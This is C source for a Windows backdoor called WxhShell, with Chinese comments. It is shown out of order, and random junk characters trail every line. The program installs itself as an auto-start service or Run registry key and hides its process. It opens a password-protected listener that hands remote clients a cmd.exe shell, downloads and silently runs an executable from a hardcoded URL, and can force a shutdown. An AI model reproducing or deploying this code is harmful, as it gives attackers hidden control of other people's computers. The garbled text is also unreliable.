    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }IUP5O6  
    if(Boot(SHUTDOWN)) X<Za9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b5ie <s  
    else { 6X+}>qy  
    closesocket(wsh); 67<CbQZoN3  
    ExitThread(0); J;~|p h  
    } CKARg8o  
    break; 6i@ub%qq  
    } !awh*Xj6  
  // 获取shell Oo%!>!Lt,  
  case 's': { 3 %(Y$8U  
    CmdShell(wsh); EHf)^]Z  
    closesocket(wsh); {K aN,td9  
    ExitThread(0); d O A%F$Mk  
    break; _[E\=  
  } ;?9A(q_Z  
  // 退出 7#4%\f+'t  
  case 'x': { G_oX5:J*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $fArk36O#  
    CloseIt(wsh); q G ;-o)h  
    break; \v`#|lT$  
    } ^/KfH &E  
  // 离开 *M!kA65'  
  case 'q': { `ENP=kL(+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ./maY1>T  
    closesocket(wsh); QJ4AL3 ^6  
    WSACleanup(); HY;oy(  
    exit(1); 6c\DJD  
    break; ;bHfn-X  
        } oXc/#{NC  
  } *8!w&ME+.  
  } A|vP$zy  
_%IqjJO{=r  
  // 提示信息 ;e;\q;GP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >_Uj?F:  
} k8&FDz  
  } >a]t<  
' Js?N  
  return; eOrYa3hQ  
} )bW5yG!  
fcAIg(vW  
// shell模块句柄 ]t/f<jKN^  
int CmdShell(SOCKET sock) *caLN,G  
{ M'u=H  
STARTUPINFO si; J/S{FxNe]  
ZeroMemory(&si,sizeof(si)); qc0 B<,x7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [,7-w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nUqy1(  
PROCESS_INFORMATION ProcessInfo; )Xno|$b5Eo  
char cmdline[]="cmd"; X(GV6mJ4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q:yO92Ow  
  return 0; :HZ;Po   
} _'c+fG \  
%8Yyj{^!(  
// 自身启动模式 _W9&J&l0so  
int StartFromService(void) T'R,vxP)\  
{ ;:_(7|  
typedef struct ]18Ucf  
{ Iq,v  
  DWORD ExitStatus; b?k4InXh  
  DWORD PebBaseAddress; a%n'%*0  
  DWORD AffinityMask; PPgW ^gj  
  DWORD BasePriority; eUs-5 L  
  ULONG UniqueProcessId; ;f(n.i  
  ULONG InheritedFromUniqueProcessId; 5+FLSk  
}   PROCESS_BASIC_INFORMATION; oWD)+5. ]  
0#`)Prop6  
PROCNTQSIP NtQueryInformationProcess; ?>)yKa#U  
h2&y<Eg>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vi,Y@+4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y`]rj-8f0B  
e?vj+ZlS$f  
  HANDLE             hProcess; hNVMz`r  
  PROCESS_BASIC_INFORMATION pbi; =~",/I?  
6H6Law!)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N(7u],(Om  
  if(NULL == hInst ) return 0;  8bbVbP  
qL>v&Rd<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ' fl(N2t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]-EN/V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _Y7:!-n}   
z `@z  
  if (!NtQueryInformationProcess) return 0; 82 .HH5Z{  
gUb "3g0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )]}$   
  if(!hProcess) return 0; t[q3 {-  
h&$Py  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5*XH6g F  
_Ff".t<"  
  CloseHandle(hProcess); Cg*kN"8q  
H` Lu"EK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |YXG(;-BS  
if(hProcess==NULL) return 0; e#m1X6$.e  
(-'PD_|  
HMODULE hMod; /xf.\Z7<  
char procName[255]; U TS{H  
unsigned long cbNeeded; pLJeajv)z  
|DGCdB|`G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *cQz[S@F  
'rh\CA/}D  
  CloseHandle(hProcess); ]]3Q*bq4  
q!@c_o  
if(strstr(procName,"services")) return 1; // 以服务启动 D zE E:&*=  
.Map   
  return 0; // 注册表启动 K_FBy  
} a^x  0 l  
O E]~@eU  
// 主模块 CL )%p"[x  
int StartWxhshell(LPSTR lpCmdLine) _Ua PwJ  
{ YiO3<}Uf  
  SOCKET wsl; U#$:\fT  
BOOL val=TRUE; xT/9kM&}L  
  int port=0; 0*{@E%9  
  struct sockaddr_in door; .:SfM r;G  
pdy+h{]3  
  if(wscfg.ws_autoins) Install(); eoJFh  
G*=H;Upi  
port=atoi(lpCmdLine); E~qK&7+  
Upu%.[7  
if(port<=0) port=wscfg.ws_port; /:^tc/5U ]  
h4hd<,  
  WSADATA data; ![j(o!6&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |:}L<9Sq  
eNivlJ,K|@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <%(f9j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i'9e K O  
  door.sin_family = AF_INET; 7~L|;^(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %va[jJ  
  door.sin_port = htons(port); sgR 9d  
zEAx:6`c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4bWfx _0W  
closesocket(wsl); J ( =4  
return 1; ayN*fiV]  
} "^!j5fZ  
% ghJ*iHR  
  if(listen(wsl,2) == INVALID_SOCKET) { td%Y4-+-  
closesocket(wsl); &,F elB0*  
return 1; 40rZ~!}  
} ;\1b{-' l  
  Wxhshell(wsl); 5,Qy/t}K  
  WSACleanup(); QK,=5~IJ  
C?bXrG\  
return 0; i^~sn `o  
v)TUg0U=,  
}  $.=5e3  
eNHpgj  
// 以NT服务方式启动 "ngSilH?D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /Lj%A   
{ qNhH%tYQ  
DWORD   status = 0; P: jDB{  
  DWORD   specificError = 0xfffffff; &qG? [R{  
'! #On/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L,tZh0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1mAUEQ!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uF.Q ",<  
  serviceStatus.dwWin32ExitCode     = 0; elNB7%Y/  
  serviceStatus.dwServiceSpecificExitCode = 0; iz,]%<_PE  
  serviceStatus.dwCheckPoint       = 0; l A 0-?k  
  serviceStatus.dwWaitHint       = 0; ^V_ku@DY  
& %@/Dwr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RT1{+:l  
  if (hServiceStatusHandle==0) return; !>?4[|?n<  
JvT %R`i  
status = GetLastError(); N;e}dwh&  
  if (status!=NO_ERROR)  ?L`MFR  
{ I=Gr^\x=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "tEj`eR  
    serviceStatus.dwCheckPoint       = 0; 5+o 2 T]  
    serviceStatus.dwWaitHint       = 0; VZAuUw+M  
    serviceStatus.dwWin32ExitCode     = status; xzuPie\  
    serviceStatus.dwServiceSpecificExitCode = specificError; gF$1wV]e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 721{Ga4~S  
    return; v/QEu^C  
  } dw@TbJ  
nYmf(DV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mrw]yu;2<n  
  serviceStatus.dwCheckPoint       = 0; 3Pw %[q=g  
  serviceStatus.dwWaitHint       = 0; 9;}L{yve  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -Y5YCY!`  
} d<e+__ 2  
u Zo]8mV  
// 处理NT服务事件,比如:启动、停止 "FD<^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _Ac/ir[,:  
{ WK/b=p|#o  
switch(fdwControl) qiF@7i  
{ V.O<|tl.  
case SERVICE_CONTROL_STOP: !3O,DhH>MC  
  serviceStatus.dwWin32ExitCode = 0; /F\>Z]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =ip~J<sw&  
  serviceStatus.dwCheckPoint   = 0; liBAJx  
  serviceStatus.dwWaitHint     = 0; r@N39O*Wq  
  { LG"BfYy6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WRN8#b  
  } WsG"x>1n  
  return; 7-g]A2N  
case SERVICE_CONTROL_PAUSE: 4f_ZY5=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fU\k?'x_  
  break;  m^W*[ ^p  
case SERVICE_CONTROL_CONTINUE: ~N)( ^ 4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (MF+/fi  
  break; ^T uP=q5?  
case SERVICE_CONTROL_INTERROGATE: G~b`O20N  
  break; bW,BhUb,|  
}; 5i}CzA96  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cKvAR5|  
} iX0]g45o  
}z9I`6[  
// 标准应用程序主函数 a>;3 j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]{q- Y<{"  
{ Y^*Lh/:h  
A&X  
// 获取操作系统版本 Y3 Pz00x  
OsIsNt=GetOsVer(); :pL1F)-*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r_qncy,F  
,)B~cic'u  
  // 从命令行安装 SXT@& @E  
  if(strpbrk(lpCmdLine,"iI")) Install(); F:[Nw#gj/  
%RfY`n  
  // 下载执行文件 P>yG/:W;  
if(wscfg.ws_downexe) { Zi2Eu4p l{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !3b|*].B  
  WinExec(wscfg.ws_filenam,SW_HIDE); I{*.htt{  
} tkm~KLWV&7  
@'k,\$/  
if(!OsIsNt) { Q{ |+ 3!!'  
// 如果时win9x,隐藏进程并且设置为注册表启动 -$sl!%HO%  
HideProc(); &sr:\Qn X/  
StartWxhshell(lpCmdLine); PU]7c2.y  
} |,M#8NOp:  
else T6/$pJl  
  if(StartFromService()) S\yu%=h  
  // 以服务方式启动 + Tgy,oD0  
  StartServiceCtrlDispatcher(DispatchTable); F1{?]>G  
else !.tL"U~4  
  // 普通方式启动 &"~,V6,q  
  StartWxhshell(lpCmdLine); .&* ({UM  
=DmPPl{  
return 0; Q+y-*1   
} x`j$9XN5  
Eb4< 26A  
^6N3 nkyZ  
lu G023'  
=========================================== O|^6UH  
4X(1   
"W,"qFx  
?h>%Ix  
]XpU'/h>q;  
}R(0[0NQe-  
" ~]6Oz;~<3  
dctA`W@:-  
#include <stdio.h> ~,M;+T}[r  
#include <string.h> lyOrM7Gs  
#include <windows.h> y<'2BTf  
#include <winsock2.h> bSeL"   
#include <winsvc.h> ATXx? b8h  
#include <urlmon.h> ?=|) n%  
fxtYo,;$  
#pragma comment (lib, "Ws2_32.lib") 3LmBV\["  
#pragma comment (lib, "urlmon.lib") @4  
E``!-W  
#define MAX_USER   100 // 最大客户端连接数 8+g|>{Vov  
#define BUF_SOCK   200 // sock buffer RJ`/qXL  
#define KEY_BUFF   255 // 输入 buffer ]ukj]m/@  
$J;=Ux)$  
#define REBOOT     0   // 重启 W:;`  
#define SHUTDOWN   1   // 关机 2\iD;Z#gM  
{_k!!p6  
#define DEF_PORT   5000 // 监听端口 7Da^Jv k  
>FE QtD~F  
#define REG_LEN     16   // 注册表键长度 o<Rxt *B  
#define SVC_LEN     80   // NT服务名长度 ,Rr&.  
}ii]c Y  
// 从dll定义API fDm}J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u[6`Jr~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (-G(^Tn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;03*qOYc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]mJAKycE%  
{ZBb. $}RC  
// wxhshell配置信息 yW6[Fpw  
struct WSCFG { a s<q  
  int ws_port;         // 监听端口 Lu#@~  
  char ws_passstr[REG_LEN]; // 口令 ?XTg%U  
  int ws_autoins;       // 安装标记, 1=yes 0=no |]2eGrGj4  
  char ws_regname[REG_LEN]; // 注册表键名 3Oig/KZ  
  char ws_svcname[REG_LEN]; // 服务名 gYH:EuY,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vI:bl~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @gl%A&a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MCWG*~f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _ /2 8Cw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K&"Pm9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 );/5#b@<Y  
v,x%^gv0  
}; ~M9 n<kmE  
M@LaD 5  
// default Wxhshell configuration N- ?|]4e/  
struct WSCFG wscfg={DEF_PORT, 4[f7X4d$  
    "xuhuanlingzhe", Pi]s<3PL  
    1, J!^~KN6[  
    "Wxhshell", l.NkS   
    "Wxhshell", |2t7mat  
            "WxhShell Service", qeO6}A"^|  
    "Wrsky Windows CmdShell Service", 2M( PH]D  
    "Please Input Your Password: ", BoiIr[ (  
  1, kvO`]>#;$?  
  "http://www.wrsky.com/wxhshell.exe", p6eDd"Y  
  "Wxhshell.exe" c402pj  
    }; @*`UOgP7  
|{|r? 3  
// 消息定义模块 G]3ML)l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K&a]pL6D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {]_{BcK+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TXvt0&-  
char *msg_ws_ext="\n\rExit."; ^>R|R1&  
char *msg_ws_end="\n\rQuit."; %[ bO\,  
char *msg_ws_boot="\n\rReboot..."; }zfLm` vJ  
char *msg_ws_poff="\n\rShutdown..."; yOCcp+`T}  
char *msg_ws_down="\n\rSave to "; [@l v]+@  
"j@IRuH  
char *msg_ws_err="\n\rErr!"; HEfA c  
char *msg_ws_ok="\n\rOK!"; Z?!:=x>7m  
z&yb_A:>  
char ExeFile[MAX_PATH]; z1KC$~{O  
int nUser = 0; u{lDof>  
HANDLE handles[MAX_USER]; /*p?UW<*4  
int OsIsNt; Ai_|)  
q!h*3mNm  
SERVICE_STATUS       serviceStatus; )b2E/G@X&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [Jh))DIx  
", Rw%_  
// 函数声明 sT"tS>  
int Install(void); ujHzG}2z  
int Uninstall(void); ZtK%b+MBP  
int DownloadFile(char *sURL, SOCKET wsh); . eag84_  
int Boot(int flag); eRqexqO!  
void HideProc(void); ,["|wqM  
int GetOsVer(void); 2,QApW_Y  
int Wxhshell(SOCKET wsl); kE(-vE9  
void TalkWithClient(void *cs); QO`SnN}  
int CmdShell(SOCKET sock); .$s|T  
int StartFromService(void); nF y7gA|  
int StartWxhshell(LPSTR lpCmdLine); s1b\I6&:J  
-N!soJ<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <Phr`/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {^O/MMB\\%  
ZYt"=\_  
// 数据结构和表定义 DBrzw+;e3  
SERVICE_TABLE_ENTRY DispatchTable[] = &l}xBQAL  
{ \U  =>  
{wscfg.ws_svcname, NTServiceMain}, 28qWC~/9  
{NULL, NULL} G;#t6bk  
}; IhKas4  
+z?f,`.*  
// 自我安装 q>lkLHS  
int Install(void) C]cT*B^  
{ a ZCZ/  
  char svExeFile[MAX_PATH]; 27i<6PAC[A  
  HKEY key; NTX+7<  
  strcpy(svExeFile,ExeFile); VqT[ca\  
52R.L9Ai  
// 如果是win9x系统,修改注册表设为自启动 $A0]v!P~i-  
if(!OsIsNt) { yT9RNo/w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GN"LU>9|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ilBw:L-3  
  RegCloseKey(key); .?)oiPW#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *E q7r>[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3K] 0sr  
  RegCloseKey(key); WD`{kqc  
  return 0; IG@&l0ARL  
    } 0_Z|y/I.  
  } f6A['<%o  
} F"? *@L  
else { 1UWgOCc  
EC\:uK  
// 如果是NT以上系统,安装为系统服务 gK_[3FiKt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k  5kX  
if (schSCManager!=0) iYs?B0*JWK  
{ :hdh$}y  
  SC_HANDLE schService = CreateService y(BLin!O.  
  ( e$|)wOwU  
  schSCManager, fe`G^hV  
  wscfg.ws_svcname, |y=F ( 6Z  
  wscfg.ws_svcdisp, ba:^zO^  
  SERVICE_ALL_ACCESS, (j Q6~1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N28?JQha  
  SERVICE_AUTO_START, D_kz R  
  SERVICE_ERROR_NORMAL, otVdx&%]  
  svExeFile, 8pt<)Rs}  
  NULL, rSCX$ @@F  
  NULL, `%:(IGxz  
  NULL, Yzx0[_'u  
  NULL, P[K T  
  NULL tce8*:rNH  
  ); mK/P4]9g  
  if (schService!=0) zC;lfy{f=  
  { e[o ;l  
  CloseServiceHandle(schService); ,+evP=(cX  
  CloseServiceHandle(schSCManager); I`>%2mP[C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D??/=`|8  
  strcat(svExeFile,wscfg.ws_svcname); dp W%LXM_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9 9BK/>R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @a3v[}c*  
  RegCloseKey(key); SytDo (_=W  
  return 0; w:(7fu=  
    } ExU|EN-  
  } md LJ,w?{  
  CloseServiceHandle(schSCManager); < R%6L&  
} \>azY g  
} 1caod0gor  
[m&ZAq  
return 1; PX/0  jv  
} ?2>v5p  
.Sw'Bo!Ee  
// 自我卸载 =xP{f<`   
int Uninstall(void) 7OHw/-j\  
{ |^!@  
  HKEY key; J, >PLQAa  
}f*S 9V  
if(!OsIsNt) { YIqfGXu8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^Pp FI  
  RegDeleteValue(key,wscfg.ws_regname); Bq`kVfx  
  RegCloseKey(key); <cjTn:w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aBLb i  
  RegDeleteValue(key,wscfg.ws_regname); /a)=B)NH  
  RegCloseKey(key); Xh!Pg)|E  
  return 0; |:BYOxAYZ8  
  } j"8N)la  
} izo $0  
} z9w.=[Io  
else { xK'IsMo[  
2a-hf|b1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =LA@E&,j  
if (schSCManager!=0) ( "z;Q?(  
{ S3wH M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9hpM*wt  
  if (schService!=0) YNk|UwJi  
  { ZM!~M>B9R  
  if(DeleteService(schService)!=0) { ?QVI'R:Z?  
  CloseServiceHandle(schService); -2d&Aq4m)  
  CloseServiceHandle(schSCManager); ;Nij*-U4~  
  return 0; I/|n ma/ $  
  } }Cf[nGh|B  
  CloseServiceHandle(schService); M lwQ_5O  
  } N Q=YTRU  
  CloseServiceHandle(schSCManager); Dw,f~D$+ic  
} k JFHUR  
} +2O_LPV$,  
4N: ;Mo&B  
return 1; 6>J #M  
} _gh7_P^H=d  
9B0"GEwrs  
// 从指定url下载文件 [hbIv   
int DownloadFile(char *sURL, SOCKET wsh) pQ8+T|0x  
{ GrC")Z|3u  
  HRESULT hr; A>yIH)b  
char seps[]= "/"; T667&@  
char *token; L\DaZ(Y  
char *file; `h6W@ROb  
char myURL[MAX_PATH]; INpub 5  
char myFILE[MAX_PATH]; 49GCj`As  
m"]ys #  
strcpy(myURL,sURL); s6uAF(4,  
  token=strtok(myURL,seps); Cn '=_1p  
  while(token!=NULL) U7?ez  
  { H)tDfk sq\  
    file=token; F{tSfKy2  
  token=strtok(NULL,seps); L~~Yh{<  
  } #C mBgxg+M  
pT tX[CE  
GetCurrentDirectory(MAX_PATH,myFILE); XvY-C  
strcat(myFILE, "\\"); RGmpkQEp  
strcat(myFILE, file); @Iu-F4YT  
  send(wsh,myFILE,strlen(myFILE),0); l-EQh*!j  
send(wsh,"...",3,0); W9"I++~f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *6tN o-)^  
  if(hr==S_OK) *Cw2h  
return 0; SGm? "esEt  
else 9_{!nQC.g  
return 1; [DwB7l)O(  
ow "Xv  
} ;0'v`ob'.?  
Z ngJ9js  
// 系统电源模块 @35 shLs  
int Boot(int flag) ZbUf|#GTB  
{ p6'8l~W+  
  HANDLE hToken; qZe"'"3M  
  TOKEN_PRIVILEGES tkp; VWa(@ A  
Ip0q&i<6  
  if(OsIsNt) { .<dmdqk]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $}fA;BP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2Fi*)\{  
    tkp.PrivilegeCount = 1; |sz9l/,lG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (i8 t^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .EO1{2=  
if(flag==REBOOT) { L8ke*O$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _L":Wux  
  return 0; bSfQH4F  
} "Cb<~Dy  
else { )RFeF!("  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sqs`E[G*  
  return 0; x#D=?/~/Kv  
} 3 6 ;hg #  
  } "f_Z.6WMY  
  else { #ZA YP  
if(flag==REBOOT) { 43XuQg4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wG O)!u 4  
  return 0; c3##:"wr  
} \BL9}5y  
else { @#apOoVW>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Sls> OIc  
  return 0; 4KCxhJq  
} L@XeAEIq  
} \~PFD%]:3  
zKNk(/y  
return 1; `Nj|}^A  
} Bh?;\D'YC  
JN_# [S$  
// win9x进程隐藏模块 o9i\[Ul  
void HideProc(void) GSp1,E2J  
{ YbKW;L&Ff  
a0R]hENC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1*fA>v  
  if ( hKernel != NULL ) RulIzv  
  { U{EW +>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4%TC2Laii  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N!AFsWV  
    FreeLibrary(hKernel); !T*izMX}  
  } 9=|5-? ^  
!r<7]nwV  
return; ^;a[v^&9  
} y.zQ `  
J}JnJV8|G  
// 获取操作系统版本 Zu,f&smb  
int GetOsVer(void) *D,T}N  
{ E' Bt1 u  
  OSVERSIONINFO winfo; . fIodk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W4<}w-AoEp  
  GetVersionEx(&winfo); *q RQN+%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'g#GUSXfj  
  return 1; _D~a4tgS  
  else k{~5pxd-t  
  return 0; Gsb]e  
} {8' 5  
' vwBG=9C  
// 客户端句柄模块 6{M.S}.^  
int Wxhshell(SOCKET wsl) >qE$:V "_5  
{ t`  Sh!e  
  SOCKET wsh; U&6f}=v C  
  struct sockaddr_in client; ,O}zgf*H;  
  DWORD myID; b7-a0zaN  
)l=j,4nn  
  while(nUser<MAX_USER) -8Ii QRS  
{ g=)@yZ3>v  
  int nSize=sizeof(client); ;bX{7j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .qZ<ROZ  
  if(wsh==INVALID_SOCKET) return 1; !>Xx</iD1  
L|<Mtw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oW6.c]Vo  
if(handles[nUser]==0) WCH>9Z>cj  
  closesocket(wsh); >9 iv>  
else KvQ9R!V  
  nUser++; LE;c+(CAU  
  } qVfOf\x.e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *$QUE0  
ps2C8;zT  
  return 0; @bZb#,n]  
} PJ'l:IU  
B4kIcHA  
// 关闭 socket B4hR3%  
void CloseIt(SOCKET wsh) 0^+W"O  
{ 1W U-gQki!  
closesocket(wsh); y3x_B@}BY  
nUser--; }5K\ l  
ExitThread(0); iY="M_kQ_  
} e*tOXXY1  
Px<;-H`  
// 客户端请求句柄 %\A~w3E  
void TalkWithClient(void *cs) ?1YK-T@  
{ fA8 ,wy|>  
?g 3sv5\u  
  SOCKET wsh=(SOCKET)cs; COap*  
  char pwd[SVC_LEN]; ^dro*a,  
  char cmd[KEY_BUFF]; /#tOi[0[  
char chr[1]; U-@\V1;C  
int i,j; 8W{R&Z7aL  
&:rf80`z.  
  while (nUser < MAX_USER) { EB \\ F  
]]+"`t,-  
if(wscfg.ws_passstr) { O?@AnkOhn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s^cHR1^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e. [h  
  //ZeroMemory(pwd,KEY_BUFF); ^Oo%`(D?  
      i=0; hGsY u)  
  while(i<SVC_LEN) { },l3N K  
q N>j2~  
  // 设置超时 *p"%cas  
  fd_set FdRead; % 74}H8q_z  
  struct timeval TimeOut; .A E(D7d6  
  FD_ZERO(&FdRead); Yv>% 5`  
  FD_SET(wsh,&FdRead); 0VPa=AW  
  TimeOut.tv_sec=8; d2pVO]l YZ  
  TimeOut.tv_usec=0; dI`b AP;\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y@F{pr+dA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !^y'G0  
\Q]7Hw<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N*eZ4s'  
  pwd=chr[0]; p &A3l  
  if(chr[0]==0xd || chr[0]==0xa) { [L:,A{rve  
  pwd=0; 0L'h5i>H)  
  break; O[!]/qP+.  
  } 4g|}]K1s  
  i++; YtFtU;{  
    } % _N-:.S  
`On%1%k8  
  // 如果是非法用户,关闭 socket jVr:O `  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =m UtBD.;  
} A," u~6Bn  
b^0=X!bg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q%nWBmPZ~y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V V<Zl  
Z\n nVM=  
while(1) { LqNsQu";  
_k&vW(O=:  
  ZeroMemory(cmd,KEY_BUFF); :AL nm0d  
H?PaN)_6-+  
      // 自动支持客户端 telnet标准   d-X<+&VZ  
  j=0; 3qP! (*  
  while(j<KEY_BUFF) { nBR4j?':i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yN9/'c~  
  cmd[j]=chr[0]; />H9T[3=  
  if(chr[0]==0xa || chr[0]==0xd) { #}o*1  
  cmd[j]=0; WOh?/F[@u  
  break; J%{>I   
  } /@:I\&{f'9  
  j++; r+>gIX+Fl  
    } 0`:0m/fsU  
NbH;@R)L  
  // 下载文件 Q/I/>6M7UZ  
  if(strstr(cmd,"http://")) { H>% K}Fh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pa+%H]vB  
  if(DownloadFile(cmd,wsh)) nwf(`=TC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (V&$KDOA  
  else xtyOG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "_W[X  
  } :wtK'ld  
